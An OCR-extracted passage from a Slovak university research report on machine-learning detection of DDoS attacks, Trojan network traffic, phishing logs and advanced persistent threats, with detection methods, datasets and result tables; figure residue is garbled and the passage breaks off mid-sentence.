tendenciu takto reagovat’ aj na peaky v beznej prevadzke, ¢o by mohlo spdsobovat mnozstvo

faloSnych hlaseni.
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Obr. 35: Utok N8, Divergencia Obr. 36: Utok N2, Divergencia

Dal$ou nevyhodou pouzitia divergencie je fakt, Ze vysoky impulz pri nastupu Gtoku trva
velmi kratko oproti ostathym parametrom, preto jej aplikaciu v kombinacii s ostatnymi para-
metrami vidime ako problematicku. Pouzitie divergencie sme preto odlozili do buducnosti.

B Utok S1 ot , Utok LR3

>11024 ts : e~
l >l ow=1024ts
: Divergencia 10000ts [« 11000 ts ,

|

L

‘" E ! S 5244 |« 'i 6246 [
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Obr. 37 Utok S1, Divergencia Obr. 38: Utok LR3, Divergencia

1.2.7 Vyuzitie 3o-Tunela pre rozpoznanie DDoS utokov

Na zaklade experimentov sme pre vypocCet priemeru a odchylky zvolili 1000
predchadzajucich hodnét, a Sirku interval sme zvolili (EX-30, EX+30) (pri menSej velkosti
intervalu dochadzalo k ¢astym faloSnym hlaseniam). Tuto metdédu sme nazvali predikény 3o0-
tunel. Vznika prirodzena otazka, preco nepouzit predikény tunel priamo na prirastky IP toku
a(t) a nezdrziavat sa vypoctom Statistickych koeficientov. Po prevedeni experimentov sme
zistili, ze sice prekroCenie hornej hranice tunela deteguje relativne skoro nastup DDoS utoku,
ale zaroven dochadza k Castému hlaseniu faloSného poplachu. Pri zvacSeni nasobnosti
smerodajnej odchylky sa sice pocet faloSnych hlaseni zmenSil ale zaroven sa zmensSila
schopnost detegovat utok. Na nasledujucich obrazkoch si ukazeme na vybranych utokoch len
hornu hranicu 3o-Tunela.

a) . 20 Utok N6 975415

W

Obr. 39: Utok N8, horné hranica 30-Tunela Obr. 40: Utok N6, horna hranica 3o0-Tunela
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Obr. 41: Utok S1, horna hranica 3o0-Tunela
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Obr. 43: N2, 30-Tunel pre H-exponent
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Obr. 45: P4, 30-Tunel pre H-exponent
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Obr. 42: Utok LR3, horna hranica 30-Tunela

Na nasledujucich grafoch budeme demonstrovat chovanie sa 3o0-Tunela na parametre
s najvacsou variabilitou z pomedzi uvazovanych Statistickych koeficientov, a to na Hurstovom
exponente (odhadnutého RS Statistikou s odstranenim autoregresie AR1).

u,.m'.‘ﬂ.; .|L‘,Lhu'._,u_h\u\ ‘

iv.
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Obr. 44: LR3, 30-Tunel pre H-exponent
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Obr. 46: N8, 30-Tunel pre H-exponent

Vo vacsine pripadoch (az na utok LR3) 3o0-Tunel skoro rozpoznal zaciatok DDoS utok
s minimalnym, niekedy az nulovym poc¢tom faloSnych hlaseni.

Ako sme uz uviedli, na zaklade experimentov sme nastavili velkost' predikéného okna
na 1000 ts a Sirku intervalu pre 1001 hodnotu na trojnasobok smerodajnej odchylky. Pri
takomto nastaveni sme vo vacSine experimentov (rézne koeficienty a rézne utoky) ziskali
skoré rozpoznanie zaliatku utoku s minimalnym poctom faloSnych hlaseni. Na
predchadzajucich obrazkoch su to 3 pripady zo 4. Takto nastaveny tunel ma dve uZitocné
vlastnosti:

o Ma dostatocne ,dIhu paméat® na to, aby dokazal pokryt lokalnu variabilnost
Statistického koeficientu a nespdsoboval velké mnozstvo falodnych hlaseni

e Ma dostato¢ne ,dIhu pamat® na to, aby nedokazal zareagovat na relativne
velky narast hodn6t skumaného koeficient pri zaciatku DDoS utoku (velky
vzhladom na relativnu variabilnost)
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Samozrejme, aby sme mohli vyslovit nejaké relevantnejSie zavery a odporucania, je
potrebné previest mnozstvo experimentov na zaznamov réznych DDoS utokov.

1.2.8 Detekéné funkcie pre strojové rozpoznanie DDoS utokov

V predchadzajucich kapitolach sme uviedli dva spésoby rozpoznania DDoS utokov
pomocou Statistickych koeficientov. Prvym spésobom bolo ur€enie detekénych hodnét pre
vhodné parametre, 1,00 pre variabilnost V(t) a H-exponent, 0,90 pre autoregresny koeficient
c(t) a 0,75 pre korelaCny koeficient p(t). Druhy spdsob pomocou predikéného tunela bol
analyzovany v predchadzajucej Casti.

Pri vyuziti hrani€nych hodnét sme zaviedli dvojhodnotovu logicku funkciu YT.], ktora
vyhodnocuje prekro€enie hrani¢nej hodnoty pre dany Statisticky koeficient. Nasledujucich
grafoch si ukazeme variabilnost V(t), autoregresny koeficient c(t) a korelacny koeficient p(t) a
priebeh ich funkcie YT.] pre utoky S1a N2.

e Utok S1 o Utok N2 www

1 ow=1024ts v
’5 cw=1024ts 7823

,, v‘

R

Obr. 47: S1, koeficienty V(t), c(t), p(t) Obr. 48: N2, koeficienty V(t), c(t), p(t)
, W Utok S1 s “.?"" - Ml Utok N2 |
T TIV()=1]=1 ‘ 1 v M‘ i
T : 1 ] h #i cw=1024ts 7823 E< — ; 9852
1)=0.90]=1 irw(t)=1]=‘f TIp(t)=0.75]=0
Obr. 49: S1, priebeh funkcii Y[.] Obr. 50: N2, priebeh funkcii Y[.]

Mnoziny hodndt, na ktorych koeficienty prekracuju svoje detekéné hranice, nazveme
detekcné intervaly. Na obr. 49 a 50 vidime, ako sa tieto intervaly navzajom prekryvaju. Aby
sme eliminovali faloSné hlasenia a zaroven dosiahli véasné rozpoznanie Utokov, zavedieme
pre sledované koeficienty novu detekénu funkciu D(t), pricom pre zjednodu$enie oznacime
napr. pre koeficient V(t) funkciu Y[V(t)>1,00] ako Y'V(t):

D(t) = YV().YC(t)+ YV(1).Yp (t) + YC(1).Yp ()
Na nasledujucich obrazkoch vidime priebeh detekénej funkcie pre utoky S1 a N2.
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Obr. 51: S1, priebeh detekénej funkcie D( Obr. 52: N2, priebeh detekcnej funkcie D(t)

Vdaka tvaru funkcie D(t) sme eliminovali eventualne faloSné hlasenia a zarover podla
hodnét 1 alebo 3 vieme rozpoznat, a akom Case detegovali utok dva alebo vSetky 3 Statisticke
parametre. V tabulke 3 uvadzame vyhodnotenie pouzitia detekénej funkcie D(t) pre
analyzované utoky. Prva hodnota predstavuje pocet faloSnych hlaseni, druha uruje dobu,
kedy detegovali utok minimalne dva koeficienty a tretia hodnota oznacuje dobu, kedy
detegovali utok vsSetky tri Statistické koeficienty V(t), c(t) a p(t).

utok S1 N2 LR3 | S5 | N6 N7 N8
D(t) 0-34-52 |0-5-5 |x X 0-75-119 | 0-228-480 0-47-210

Tab. 3: Vyhodnotenie rozpoznania DDoS utoku pomocou detekénej funkcie D(t)

Rozpoznanie utoku podla hrani¢nej hodnoty bolo ucinné hlavne pri Standardnych
utokoch, priom vo viacerych pripadoch dva koeficienty prekroCili svoje hrani¢né hodnoty
podstatne skér nez vSetky tri. Pri neStandardnych utokoch ako LR3, P4 a S5 Ziadne dva
detekéné intervaly, ak vébec vznikli, nemali spolo¢ny prienik, a preto utok nebol rozpoznany.
Rovnaku metodiku budeme aplikovat' aj na rozpoznanie utoku pomocou predikéného tunela.
V predchadzajucej kapitole sme urcili, pri zohladneni doby rozpoznania utoku a poctu
faloSnych hlaseni, prvé tri najefektivnejSie Statistické koeficienty: Sikmost K(t), Spicatost Skw(t)
a variabilnost' V(t). KedZe sme vybrali koeficienty, ktorym sa pri nastupe DDoS utoku vyrazne
zvacsia hodnoty, preto sa budeme zaoberat' len hornou hranicou predikéného tunela. Dobu
prekro€enia hornej hranice vyhodnotime ako detekény interval a popiSeme ho dvojhodnotovou
funkciou I'[.], pri€om napr. pre koeficient Spicatosti ozna¢ime I'K(t) = K(t)>Hr(t)], kde Hr(.) je
horna hranica predikéného intervalu pre koeficient K(.).

“ Otok S1 © Utok N7 A
{ ow=10241s (\\/’\ oo ‘ ’ o TOM & 8300 (si 1‘
E ipw=1000ts \ E‘* ': pw = 1000 ts | |
§ hloe . \ \
' | ' : H \ hranica sz
P V{/ / \/\ / \ \:/\«’//\\ | \\J/\\ /x/\/m el L 4
N (P v\ 1 iR A £ 8 e - ~
: [ /"r LW \( W’ " J'”." k koefiient ;,)J i oA ( 1 \ *ﬁj b
il v | l “ LA S v - \ ceficiont
P detekend funkeia T (Y H | /R T : detekéna funkcia T (t) Sikmost
Obr. 53: S1, priebeh funkcie [(t) Obr. 54: N7, priebeh funkcie I'(t)
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Podobne ako pri predchadzajucej metéde, pri rozpoznavani pomocou hrani¢nej
hodnoty, aj teraz zavedieme detekénu funkciu, ktora bude kombinaciou identifikatorov I'(t):
DP(t) = TK(t).r' Skw(t)+ r'K(t).rv (t) + rSkw(t).rv (t)
V tabulke tab.2 uvadzame vyhodnotenie pouzitia detek&nej funkcie DP(t).
utok S1 N2 LR3 S5 N6 N7 N8
Dr(t) 1-6-28 |[0-1-1 |1-1-1 (1-18-41 | 1-12-12 | 1-39-49 | 0-1-1

Tab. 4: Vyhodnotenie rozpoznania DDoS utoku pomocou detekénej funkcie D(t)

1.2.9 Zhodnotenie testov

Na zaklade doteraz prevedenych experimentoch vidime vyuZitie vybranych
Statistickych koeficientov ma podstatne vacsi potencial pri rychlom rozpoznani DDoS utokov
(FAD — Fast Attack Detection) nez Standardné sledovanie priemernej a Spickovej intenzity. Pri
DDoS utoku je silny predpoklad, Ze sa tieto intenzity vyrazne zvySia. AvSak priemerna intenzita
rastie len linearne v zavislosti od velkosti kizavého okna, o vedie k neskorej detekcii Utoku, a
rozpoznavanie Utoku pomocou nastavenia nejakého thresholdu pre Spic¢kovu rychlost méze
viest k ¢astym faloSnym hlaseniam vd'aka vyskytu pikov v IP toku.

Pri prechode Standardnej IP prevadzky do DDoS utoku sa vyrazne zmeni nie len
priemerna a Spi¢kova intenzita, a zmeni sa celkova pravdepodobnostna Struktura zaplavového
toku. Na zachytenie tejto zmeny sme vyuZili prezentované Statistické koeficienty. Tie mézeme
rozdelit na dva typy, koeficienty, ktoré pri nastupu Utoku prekrocili nejaku detekénu hodnotu a
koeficienty, ktoré na utok reagovali vyraznou zmenou svojich hodnét resp. impulzom. Niektoré
koeficienty dokonca patria do obidvoch skupin. Na zaklade tohto delenia sme vytvorili:

e Metddu pouzitia detekénych hranic (MDH)
e Metdda pouzitia predikénych tunelov (MPT)

Porovnanim tabuliek 3 a 4 vidime, ze MPT rozpoznala kazdy uvazovany typ utoku a to
podstatne skér ako MDH, av8ak pri vacSine utokov signalizovala jedno faloSné hlasenie.
Predpokladame, Ze tento problém by sa mohol odstranit viacerymi spésobmi, napriklad
pridanim dalSieho vhodného detekéného koeficientu, ale nejakym typom vyhladenia hodnét
koeficientu pred pouzitim predikéného tunela, napr. exponencialnym alebo Holtovy
vyhladenim.

1.3 Detekcia Skodlivého kédu (Malware)

Malvér, skratka pre Skodlivy softvér, zahffia rézne typy Skodlivého softvéru vratane
virusov, Cervoy, trojskych koni a ransomvéru. Kazdy typ ma jedineCné vlastnosti a metddy
infekcie a poSkodenia. Virusy sa napriklad pripajaju k Cistym suborom a nekontrolovatelne sa
Siria, &im poskodzuju suborové systémy. Cervy sa naopak samy replikuju bez fudského
zasahu a €asto zneuZivaju zranitelnosti siete. Trojske kone klamu pouzivatelov tym, Ze sa
maskuju ako legitimny softvér, ¢im ziskavaju neopravneny pristup k systémom.

Ransomvér predstavuje obzvlast hrozivi formu malvéru. Sifruje Udaje obete a
pozaduje vykupné za deSifrovaci klu¢€. Tento typ malvéru mdze spdsobit’ znacné prevadzkoveé
narusenia a finan¢né straty. Dopad malvéru sa neobmedzuje len na jednotlivych pouzivatelov;
rozSiruje sa aj na velké organizacie a méze viest k masivnym unikom udajov, finanénym
stratam a poskodeniu reputacie.

Prevencia a zmierfiovanie utokov malvéru zahfia kombinaciu robustného
antivirusového softvéru, vzdelavania pouzivatefov a dodrziavania osvedcenych postupov v
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oblasti kybernetickej bezpe€nosti, ako su pravidelné aktualizacie softvéru a opatrné
stahovanie suborov alebo aplikacii z internetu. Pochopenie réznych foriem Skodlivého softvéru
je kfuCové pre u€inné opatrenia v oblasti kybernetickej bezpec€nosti, pretoZze umoziuje
jednotlivcom a organizaciam rozpoznat potencialne hrozby a podfa toho reagovat.

Zo SirSieho spektra malvéru sme sa rozhodli zamerat v naSich testoch len na typ
Jrojsky koén“. Testy boli vykonané na volne dostupnom datasete Trojan Detection pre
nasledovné metody, ktoré patria medzi najCastejSie pouzivané AI/ML algoritmy a metody

v tejto oblasti:

¢ Random Forest (nahodny les)

o AdaBoost

o Naive Bayes

e neurénova siet typu FNN (Feed-Forward Neural Network)

Data v korpuse Trojan Detection pochadzaju z Kanadského inétitatu pre kyberneticku
bezpecénost (CIC) a obsahuje zaznamy o tokoch v pocitacovej sieti. Paketovy tok tu oznacuje
sériu paketov pri komunikacii dvoch aplikacii, ktoré maju rovnaku skupinu dat — zdrojovu a
cielovu IP adresu, zdrojovy a cielovy port a typ protokolu. Dataset obsahuje zaznamy dvoch
typov:

e Skodlivé — trojan, 90683 vzoriek Skodlivych malignych tokov generovanych
trojskymi korfimi
e neSkodné — benign, 86799 vzoriek neSkodnej benignej sietovej prevadzky

V datasete je pre kazdy tok zaznamenanych nasledovnych 86 parametrov alebo
priznakov:

Flow ID Source IP Source Port
Destination IP Destination Port Protocol

Timestamp Flow Duration Total Fwd Packets
Total Backward Packets Total Length of Fwd Packets | Total Length of Bwd Packets
Fwd Packet Length Max Fwd Packet Length Min Fwd Packet Length Mean
Fwd Packet Length Std Bwd Packet Length Max Bwd Packet Length Min
Bwd Packet Length Mean Bwd Packet Length Std Flow Bytes/s

Flow Packets/s Flow IAT Mean Flow IAT Std

Flow IAT Max Flow IAT Min Fwd IAT Total

Fwd IAT Mean Fwd IAT Std Fwd IAT Max

Fwd IAT Min Bwd IAT Total Bwd IAT Mean

Bwd IAT Std Bwd IAT Max Bwd IAT Min

Fwd PSH Flags Bwd PSH Flags Fwd URG Flags

Bwd URG Flags Fwd Header Length Bwd Header Length
Fwd Packets/s Bwd Packets/s Min Packet Length
Max Packet Length Packet Length Mean Packet Length Std
Packet Length Variance FIN Flag Count SYN Flag Count

RST Flag Count PSH Flag Count ACK Flag Count

URG Flag Count CWE Flag Count ECE Flag Count
Down/Up Ratio Average Packet Size Avg Fwd Segment Size
Avg Bwd Segment Size Fwd Header Length.1 Fwd Avg Bytes/Bulk
Fwd Avg Packets/Bulk Fwd Avg Bulk Rate Bwd Avg Bytes/Bulk
Bwd Avg Packets/Bulk Bwd Avg Bulk Rate Subflow Fwd Packets
Subflow Fwd Bytes Subflow Bwd Packets Subflow Bwd Bytes
Init Win_bytes forward Init Win_bytes backward act_data_pkt_fwd
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min_seg_size forward Active Mean Active Std
Active Max Active Min Idle Mean
Idle Std Idle Max Idle Min
Class — Trojan/Benign

Tab. 5: Skupina priznakov v datasete Trojan detection

1.3.1 Priprava a postup pri testovani

Praca s modelmi pozostavala z nasledujucich krokov.

1.

Predspracovanie dat (data preprocessing)

Nahratie datasetu pre detekciu trojanov pomocou kniZnice pandas.

Cistenie dat (data cleaning): vynechanie nerelevantnych a duplicitnych
zadznamov, podla potreby doplnenie chybajucich dat.

Kodovanie kategorickych dat (label encoding): prevod kategorickych dat ako su
identifikator toku (Flow ID), zdrojova a cielova IP adresa (Source IP, Destination
IP), Casova peciatka (Timestamp) — na numerické hodnoty.

Kodovanie navesti tried (Class Label Encoding): Prevod oznacenia triedy
("Trojan" a "Benign") na binarny tvar (1 resp 0).

Vyber priznakov (Feature Selection): Pouzit vzdjomné informacie na vyber
priznakov, ktoré su najddlezitejSie pre klasifikaciu

Rozdelenie dat na trénovacie a testovacie

Rozdelenie dat na trénovaciu a testovaciu mnozinu (typicky byva 80%
trénovacich a 20% testovacich dat). Na rozdelenie sa pouzila funkcia using
train_test_split z kniznice scikit-learn.

Vypocty algoritmami strojového ucenia (Machine Learning): Nahodny les
(Random Forest), AdaBoost (adaptive boosting), Gaussian Naive Bayes a
Hlboké ucenie s doprednou neurénovou sietou. Nasleduje popis pouZitych
algoritmov strojového ucenia.

Analyza a vyhodnocovanie testov prebiehalo rovnako ako v pripade predchadzajucich
typov kybernetickych hrozieb na zaklade definovanych metrik ako Precision, Recall, F-1
Score, Accuracy kvantifikovanych z konfuznej matice. Samotné vypolty prebiehali
v testovacom prostredi Google Colab.

1.3.2 Vysledky testov

Vysledky testov su prehfadne zobrazené v tabulke 6.

Metdda Accuracy (%) Precision  Recall F1-score  Processing
(%) (%) (%) time (sec.)

Random Forest 99.99 0.999967 0.999967 0.999967 9 sek

classifier

(50 estimators)

skusat rézne pocty 99.99 dalSie spolu

stromov: 60 sek.

10

20 99.9934

30 99.9967

40 100.000

50 99.9934

60 99.9967

70 99.9967

80 99.9967

90 99.9934
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AdaBoostClassifier 99.9639 20 sek.

(100 estimators)

cross-validation to 99.9626 60 sek.
obtain a more robust

estimate

GaussianNB 20
Classifier

gnb.score 91.4984

cross_val_score 90.1080

using reciver 92.1831

operating

characteristic score

weighted avg 92.1035 91.4985 91.4487

Deep learning (Feed 55 sek.

forward neural samotny
network) — 10 epoch 98.3947 trénning

weighted avg 98.3953 98.3947 98.3947
Tab. 6: Vysledky testov pre detekciu malware

1.3.3 Zhodnotenie testov

Na zaklade vykonanych experimentov mozno zhodnotit, Ze najvhodnejSie metddy pre

detekciu malvéru typu ,trojsky k6n“ z prevadzky v sieti su metody

¢ Random Forest: uspesnost 99,99%, ¢as vyhodnocovania ~9 sek.
e AdaBoost: uspesnost 99,96%, ¢as vyhodnocovania ~19 sek.
e neurénova siet typu FNN: uspesnost 98,39%, €as vyhodnocovania ~15 sek.

Z nich Random Forest vykonala vypoéty dvakrat rychlejsie. Dal$ia v poradi, neurénova
siet' typu FNN, ma esSte vysoku uspesnost (98,39%) ale €as trénovania siete bol dIhSi (55 sek.).
NajrychlejSou metédou bola GaussianNB Classifier — avSak dosiahla najhorSie vysledky

(91.49%). Za najvhodnejSou metddou na detekciu malvéru typu ,trojsky kon“ analyzovanim
prevadzky povazujeme algoritmus Random Forest.

1.4 Detekcia phishing

Phishing je klamliva kyberneticka taktika, ktoru uto€nici pouzivaju na ziskanie citlivych
informacii od ni¢ netuSiacich obeti. Tato metdéda zvy€ajne zahffia odosielanie podvodnych e-
mailov alebo sprav, ktoré napodobriuju legitimne zdroje, ako su banky, vladne agentury alebo
zname spolocnosti. Ciefom je oklamat prijemcov a prinutit ich prezradit osobné udaje, ako su
prihlasovacie udaje, Cisla kreditnych kariet alebo iné citlivé informacie.

Tieto utoky mézu byt vysoko sofistikované a vyuzivaju techniky socialneho inZinierstva
na vytvorenie pocitu naliehavosti alebo strachu, €o nuti obete rychlo reagovat bez
spochybriovania pravosti ziadosti. Phishingové spravy Casto obsahuju odkazy na falosSné
webové stranky, ktoré sa velmi podobaju legitimnym, kde obete nevedomky zadavaju svoje
citlivé informacie.

1.4.1 Priprava a postup pri testovani

Testovanie prebiehalo na datasete, ktory pozostaval zo suborom s 57 000 logov, ktoré
boli ziskané z prevadzky na FRI UNIZA, pévodne obsahujucim priblizne 160 premennych, z
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ktorych bolo identifikovanych 41 relevantnych pre identifikaciu phishingu. Viaceré z tychto
premennych boli kategorické, a preto bolo nevyhnutné ich predspracovat kombinaciou one-
hot encodingu a hashing tricku, ¢im sa dataset rozsiril na 2009 premennych vhodnych pre
klastrovanie.

Pred klastrovanim boli vSetky premenné Standardizované pomocou StandardScaleru,
aby sa odstranili rozdiely v rozsahu hodnét. Nasledne bola aplikovana redukcia dimenzie PCA
na 50 komponentov, ¢o umoznilo efektivhu pracu s algoritmami klastrovania pri zachovani
variability dat.

Tento krok bol nevyhnutny a asovo naro€ny, pricom ma zasadny vyznam pre pripravu
modelu strojového uéenia. Logy pochadzajuce z réznych systémov totiz obsahuju odlisné
premenné, a preto bude pri tvorbe finalneho modelu na identifikaciu phishingu velkou vyzvou
vyvinut robustny skript, schopny spracovat aj neo¢akavané alebo nové premenné.

Zo SirSieho spektra metdéd a algoritmov AI/ML, ktoré sa pouzivaju pre detekciu
phishing-u, sme sa rozhodli otestovat' nasledovné klastrovacie metody:

¢ K-means
e« HDBSCAN

1.4.2 Vysledky testov

1.4.2.1 k-means
Pri pouziti algoritmu K-Means na nas dataset logov sme najprv predpokladali 3 klastre.
Vysledné rozdelenie bolo velmi nerovhomerné:

Cluster 0: 57 695 bodov

Cluster 1: 2 body

Cluster 2: 24 bodov

Vysledky K-Means su vizualizované na obrazkoch 55 a 56.

o...'"o.o.::
° o
0 ¢ g .
o o °
'.a °® .. o®
e g o
=10 o®
o
°
°
2 20 o ° ¢
c o ©
o °
S °
g o'..cl
8 -30 . u. o
§ KEE 330
o 2
.v ]
-40 ..‘.Qo °
° g ©
o
°
°
-50 [
° '%
&
?
-60 ]
-20 -15 -10 -5 0 5

PCA Component 1

URAD VLADY

Financované SLOVENSKE) REPUBLIKY

Eurépskou tniou PI-A," IOBNOVY: %J

NextGenerationEU

26



ZILINSKA UNIVERZITA V ZILINE

G ormatiy BRAIN:IT

Obr. 55: 2-D vizualizacia k-means

Pl

PCA Component 3

Obr. 56: 3-D vizualizacia k-means

Zmena predpokladaného poctu klastrov (napr. na 4 alebo 5) nepriniesla lepSie
rozdelenie dat. Niektoré nové klastre obsahovali len 1-2 body, pricom hlavny klaster stale
zachytaval vacsinu dat. Toto nerovnomerné rozdelenie odraza prirodzenu Strukturu datasetu,
kde je vacsina logov bezného typu a iba velmi malé mnozstvo logov predstavuje podozrive
alebo phishingoveé udalosti.

K-Means priradi kazdy bod do nejakého klastru, bez moznosti oznacit’ body ako body
leziace mimo zhluku alebo klastru (angl. outlier). V doésledku toho su extrémne alebo
nestandardné hodnoty automaticky zahrnuté do niektorého z klastrov, Casto do malych alebo
marginalnych klastrov. Tento fakt moze znizit schopnost K-Means samostatne detegovat
netypické alebo podozrivé logy.

Celkovo sa ukazuje, Ze K-Means je vhodny pre rychle a deterministické rozdelenie dat
do predom stanoveného pocCtu klastrov, avsak jeho schopnost zachytit jemnejSie rozdiely
alebo identifikovat odchylky v logoch je obmedzena. Nerovhomerné rozdelenie v tomto
pripade koreSponduje s prirodzenou nerovnovahou dat, kde je pocet phishingovych logov
velmi nizky.
1.4.2.2 HDBSCAN

Algoritmus HDBSCAN bol aplikovany na dataset logov s parametrami
min_cluster_size=3000 a min_samples=20. Tieto nastavenia umoznili identifikovat 6 hlavnych
klastrov a zaroven vyznacit odlahlé hodnoty (outliery), ktoré nepripadali do Ziadneho klastru.

Vysledné rozdelenie poétu logov v jednotlivych klastroch bolo nasledovneé:
Outliery (label = -1): 14 913 bodov

Cluster 0: 13493 bodov

Cluster 1: 6 702 bodov

Cluster 2: 7 704 bodov

Cluster 3: 7 891 bodov

Cluster 4: 3 363 bodov

Cluster 5: 3655 bodov
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Interpretacia vysledkov

1)

2)

3)

Outliery (-1):

algoritmus oznacCil 14913 logov ako odfahlé, ktoré nepatrili do ziadneho
hustého klastru

tieto logy pravdepodobne obsahuju netypické alebo potencialne podozrivé
udalosti, ¢o je vyhodou pre detekciu phishingu alebo anomalii

Hlavné klastre (0-5):

klastre su pomerne rovnomerne zastupené, pricom najvacsie klastre obsahuju
13493 a 7 891 bodov a mensie klastre 3 363 a 3 655 bodov

toto rovnomernejSie rozdelenie v porovnani s K-Means umoZhuje lepSie
zachytit' jemnejSie rozdiely medzi logmi a identifikovat Struktdru hustoty v
datach

Vyznam parametrov:

min_cluster_size=3000 zabezpedilo, Ze vznikaju len vyznamné klastre, ktoré
obsahuju dostato¢ny pocet bodov
min_samples=20 urcil citlivost na hustotu a prispel k detekcii outlierov

Vysledky HDBSCAN su vizualizované na obrazkoch 57 a 58.

0
PCA3

Obr. 57: 3-D vizualizacia HDBSCAN
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Obr. 58: 3-D vizualizacia jednotlivych klastrov pri HDBSCAN
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Na obrazku 58 vidime, Ze logy priradené do jednotlivych klastrov su rozloZzené v
rovnobeznych rovinach, zatial ¢o logy oznacené ako odlahlé hodnoty (outliery) sa nachadzaju
mimo tychto hlavnych rovin. Tento vizualny efekt naznacuje, Ze HDBSCAN dokéaze efektivne
rozlisit' typické spravanie od netypickych alebo podozrivych udalosti, na rozdiel od K-Means,
ktory priraduje kazdy bod do nejakého klastra.

V tomto kontexte predstavuje vyuzitie vzdialenosti logu od roviny hlavného klastra ako
pravdepodobnostného skére phishingu novy a inovativny spdsob interpretacie dat. Tento
pristup umoznuje kvantifikovat mieru odchylky jednotlivych logov a potencialne identifikovat
podozrivé alebo Skodlivé udalosti s jemnejSou granularitou nez bezné binarne oznacenie
outlierov.

Zaroven je potrebné tento koncept v ramci dalSieho vyskumu overit, aby sa potvrdila
jeho ucinnost pri automatizovanej detekcii anomalii a phishingovych utokov, a aby bolo mozné
vyvinut robustny systém, ktory kombinuje vzdialenostné skoére s dalSimi charakteristikami
logov (napr. Cas, IP adresy, typ udalosti) pre presnejSiu identifikaciu podozrivych aktivit.

1.4.3 Zhodnotenie testov

HDBSCAN sa preukazal ako vhodny nastroj pre analyzu logov s nerovhomernou
distribuciou, kedZe dokaze:

¢ identifikovat husté oblasti logov

e oznacit odlahlé hodnoty (outliery), ktoré mdzu predstavovat phishing alebo iné
podozrivé udalosti

e zachovat rovnomernejSie rozdelenie klastrov v porovnani s K-Means, €o
ulah&uje interpretaciu vysledkov a dalSiu analyzu

e novy a inovativny pristup: ak je novy log priradeny do niektorého klastru,
zvyC€ajne nejde o anomaliu ani potencialny utok. Ak vSak log nie je zaradeny do
Ziadneho klastra, jeho miera zavaznosti sa mdze kvantifikovat pomocou
phishingu. Tento pristup umozriuje jemnejSie kvantifikovat' riziko podozrivych
udalosti a podporuje automatizovanu detekciu anomalii.

Celkovo HDBSCAN poskytuje robustny a flexibilny pristup ku klastrovaniu sietovych
logov, najma pri velkych a heterogénnych datasetoch, pricom novy koncept
pravdepodobnostného skorovania outlierov predstavuje sfubnu oblast pre dalSi vyskum a
overenie jeho uginnosti.

K-Means je vhodny, ak je potrebny rychly a deterministicky rozklad, avSak nedeteguje
outliery a nerovhomerne rozdeluje body v nerovhomerne hustych datach.

HDBSCAN je vhodny pre robustnu analyzu logov, pretoze dokaze detegovat husté
oblasti aj odlahlé hodnoty, ¢o je vyznamnou vyhodou pri identifikacii phishingu a inych anomalii
v sietovych logoch. Na rozdiel od algoritmov, ktoré priraduju kazdy bod do klastru, HDBSCAN
umoziiuje oznadit netypické alebo odlahlé logy (outliery), ktoré nespifiaju kritéria hustoty
potrebné pre vznik klastra. Tymto spésobom algoritmus efektivne filtruje Sum a sustredi sa na
logy, ktoré reprezentuju opakovatelné a vyznamné vzory spravania.

V ramci pilotného testovania sa HDBSCAN preukazal ako vhodnejSi na zachytenie
jemnejSich rozdielov medzi logmi, ktoré by mohli byt indikatormi podozrivych alebo
nestandardnych udalosti. Algoritmus dokaze rozdelit' data do klastrov podla hustoty bodov,
priCom zachovava Strukturu hierarchie a umoznuje identifikovat menSie, ale vyznamné skupiny
logov, ktoré by pri pouziti klasického K-Means mohli byt ,stratené® v masivnych klastroch.

Hlavnou prednostou HDBSCAN voci K-Means je teda jeho schopnost:
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o automaticky urcit pocet klastrov podfa hustoty dat
e robustne identifikovat outliery, ktoré moézu indikovat anomalie alebo
phishingové aktivity
e zachovat jemné rozdiely medzi logmi, €o zlepSuje interpretaciu a analyticku
hodnotu vysledkov.

Celkovo HDBSCAN poskytuje flexibilny a robustny pristup k analyze logov, ktory
zohladriuje prirodzenu variabilitu dat a umozniuje efektivnu detekciu podozrivych udalosti bez
nutnosti predom stanoveného poctu klastrov.

1.5 Detekcia pokro€ilych perzistentnych hrozieb APT

Pokrocilé pretrvavajuce hrozby (APT) predstavuju kategoriu kybernetickych utokov, pri
ktorych neopravneny pouZivatel ziska pristup k sieti a zostane dIhSi ¢as nezisteny. Tieto utoky
su zvyCajne zamerané na kradeZ udajov alebo monitorovanie sietovej aktivity, a nie na
spOsobenie okamzitych Skoéd. APT su Casto sponzorované narodnymi Statmi alebo velkymi
zlo€ineckymi organizaciami, €o ich robi vysoko sofistikovanymi a naroénymi na odhalenie a
odstranenie. APT zahffiaju zdihavy, nenapadny a zlozity proces infiltracie. Utoénici pouzivaju
rézne metoddy na ziskanie vstupu, vratane spear-phishingu, zneuzivania zranitelnosti alebo
pouzivania Skodlivého softvéru. Po vniknuti si vytvoria oporné miesto, €asto vytvaraju zadné
vratka a pouzivaju techniky, aby zostali nezisteni. KoneCnym cielom APT nie je okam?Zité
naruSenie, ale dlhodoba Spionaz, kradez udajov alebo ziskanie strategickych vyhod.Boj proti
APT si vyZaduje mnohostranny pristup vratane implementacie viacvrstvovych bezpecnostnych
obrannych opatreni, neustaleho monitorovania sietovej aktivity, pravidelnych bezpe¢nostnych
auditov a Skolenia zamestnancov na rozpoznanie potencialnych hrozieb. V€asna detekcia a
rychla reakcia su nevyhnutné na zmiernenie dopadu APT. Organizacie musia zaujat postoj
neustalej ostrazitosti a pripravenosti reagovat’ na tieto pokrocilé hrozby.

Testovanie prebehlo pouzitim volne dostupného datasetu DAPT2020 (Dataset for
Advanced Persistent Threats (APT) 2020). Dataset DAPT2020 (Dataset for Advanced
Persistent Threats (APT) 2020) je subor dat kybernetickej bezpe&nosti Specialne navrhnuty na
vyskum v oblasti detekcie a analyzy utokov pokrocilych pretrvavajucich hrozieb (APT). Bol
vytvoreny a zverejneny v roku 2020 laboratériom Cyber Threat Intelligence (CTl) na Univerzite
Nového Juzného Walesu (UNSW) v Canberre v Australii. Primarnym ciefom bolo rieSit
nedostatok realistickych, aktualnych a vysokokvalitnych datasetov, ktoré by zachuytili
viacstupniovld, nenapadnu a dlhodobu povahu APT utokov. Na rozdiel od suborov dat
obsahujucich jednoduché zneuzivania alebo kratkodobé utoky, DAPT2020 sa zameriava na
simulaciu celého retazca kybernetického utoku cyber kill chain, ktory predstavuje sofistikované
APT kampane a poskytuje Uudaje na vyvoj detekénych systémov pre lateralny pohyb (angl.
lateral movement), eskalaciu privilégii (privilege escalation), exfiltraciu udajov (data exfiltration)
a aktivity velenia a riadenia C2 (command & control).

Korpus bol vygenerovany v kontrolovanom testovacom prostredi typu ,sandbox®, ktoré
